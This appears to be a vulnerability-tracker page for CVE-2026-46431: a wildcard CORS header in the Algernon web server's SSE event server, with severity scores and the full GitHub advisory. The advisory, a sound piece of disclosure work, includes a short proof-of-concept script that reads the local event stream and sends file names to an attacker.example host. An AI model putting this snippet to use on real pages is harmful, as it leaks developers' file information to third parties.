CVE-2026-46431

mediumpriority · track · 0EPSS 0.002 · 12 %ileEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.22% (12th) EPSS
CVSS 4.3 · medium
Is it mine?
2 products
Check your exposure
Who says so?
3 sources
cnnvd · enisa_euvd · osv

EPSS · scored 2026-10-28

Algernon is a small self-contained pure-Go web server. Prior to 1.17.7, the SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. This vulnerability is fixed in 1.17.7.

01

cvss

Technical severity, 0–10. One row per scoring source.

4.3
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:Nsecondary · ENISA EU
v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:Nsecondary · security-advisories@github.comexploitability 2.8 · impact 1.4
v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:Nsecondary · OSV
v3.14mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (2)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-hw27-4v2q-5qffAlgernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *2026-05-20ghsa · osvUS

    ### Summary The SSE event server's `Access-Control-Allow-Origin` response header was hardcoded to the wildcard `*` regardless of the caller's `Origin`. Because `EventSource` does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin `EventSource` to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream. This advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either. ### Details #### Root cause — hard-coded `"*"` passed as the CORS allowed-origin ```go // engine/config.go (1.17.6, MustServe) recwatch.EventServer(absdir, "*", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration) ``` The literal `"*"` is the second positional argument. The vendored `recwatch` implementation reflects it verbatim into the response header: ```go // vendor/github.com/xyproto/recwatch/eventserver.go:100-108 (1.17.6) func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc { return func(w http.ResponseWriter, _ *http.Request) { w.Header().Set("Content-Type", "text/event-stream;charset=utf-8") w.Header().Set("Cache-Control", "no-cache") w.Header().Set("Connection", "keep-alive") w.Header().Set("Access-Control-Allow-Origin", allowed) ... } } ``` There is no decision based on the request's `Origin` header, and no allow-list mechanism — every caller is told their origin is approved. #### Why the wildcard is exploitable `EventSource` opens a `GET` request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of `Access-Control-Allow-Origin`. When the server returns `*`, the browser permits the cross-origin script to read every `message` event. So a developer running `algernon -a` on their workstation, with the SSE listener at `http://127.0.0.1:5553/sse` (Windows) or `http://0.0.0.0:5553/sse` (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently: ```html <!doctype html> <script> const s = new EventSource('http://127.0.0.1:5553/sse'); s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data)); </script> ``` The exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is "visit a webpage," which `UI:R` in the CVSS vector reflects. ### PoC (against 1.17.6) ```bash # 1. Operator: algernon -a /path/to/project on Windows; SSE at localhost:5553 # 2. Attacker lures the developer to https://news.example: # The page contains the snippet above. # 3. EventSource opens, browser sends the request; algernon responds with # Access-Control-Allow-Origin: *, browser passes message events to the # cross-origin script; script ships filenames to attacker.example. ``` CLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the `Access-Control-Allow-Origin: *` value in the response, not the body. ### Impact - **Confidentiality:** medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened. - **Integrity:** none. - **Availability:** none directly (the cross-origin tab does not exhaust resources beyond the user's own browser). ### Suggestions to fix **Primary fix — echo a same-origin allow-list instead of `*`.** ```go // vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents origin := r.Header.Get("Origin") if !isAllowedOrigin(origin) { http.Error(w, "forbidden", http.StatusForbidden) return } w.Header().Set("Access-Control-Allow-Origin", origin) w.Header().Set("Vary", "Origin") ``` The `allowed` parameter must change from `"*"` to an explicit allow-list (or a single canonical server origin) — for example, `sseScheme + "://" + ac.serverAddr`. With the server's own scheme+host+port in `Allow-Origin`, a cross-origin request from `evil.example` is rejected by the browser because the response advertises a different origin. **Defence in depth — drop the legacy dedicated-port code path.** Mounting the SSE handler on the main mux instead lets the response omit `Access-Control-Allow-Origin` entirely (same-origin only by default). The dedicated `--eventserver`-style path is the only place `Access-Control-Allow-Origin` is set in the codebase; removing the dedicated path simplifies the surface. ### Live verification ``` $ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site $ ( curl -sNi --max-time 2 -H "Origin: http://evil.example" http://127.0.0.1:5553/sse > sse.txt & sleep 1 echo "trigger" >> poc2/site/probe.txt wait ) $ cat sse.txt HTTP/1.1 200 OK Access-Control-Allow-Origin: * Cache-Control: no-cache Connection: keep-alive Content-Type: text/event-stream;charset=utf-8 ... id: 0 data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\probe.txt ``` The `Origin: http://evil.example` request header was echoed back as `Access-Control-Allow-Origin: *` (the wildcard — browsers treat this as "any origin may read"). A cross-origin tab at any URL can run `new EventSource("http://<algernon>:5553/sse")` and read the stream.

  • GO-2026-5440Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: * in github.com/xyproto/algernon2026-06-25vendor · osvUS

    Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: * in github.com/xyproto/algernon

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-05-26modified 2026-07-24
08

references (4)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan